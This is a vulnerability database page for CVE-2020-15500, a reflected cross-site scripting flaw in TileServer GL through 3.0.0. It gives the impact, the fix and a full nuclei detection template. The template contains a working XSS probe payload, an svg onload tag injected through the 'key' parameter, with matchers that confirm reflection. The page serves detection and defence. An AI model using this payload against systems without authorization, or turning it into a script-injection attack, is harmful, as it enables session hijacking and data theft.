HexBrain

Browse / CVEs / CVE-2020-15500

CVE-2020-15500· tileserver / tileservergl· CWE-79

TileServer GL <=3.0.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
12.2%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E
Positive when: contains in header "text/html" AND contains "'>\"<svg/onload=confirm('xss')>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-15500 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-15500

info:
  name: TileServer GL <=3.0.0 - Cross-Site Scripting
  author: Akash.C
  severity: medium
  description: TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js  because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/maptiler/tileserver-gl/issues/461
    - http://packetstormsecurity.com/files/162193/Tileserver-gl-3.0.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15500
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-15500
    cwe-id: CWE-79
    epss-score: 0.12224
    epss-percentile: 0.96206
    cpe: cpe:2.3:a:tileserver:tileservergl:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tileserver
    product: tileservergl
  tags: cve,cve2020,xss,tileserver,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "'>\"<svg/onload=confirm('xss')>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from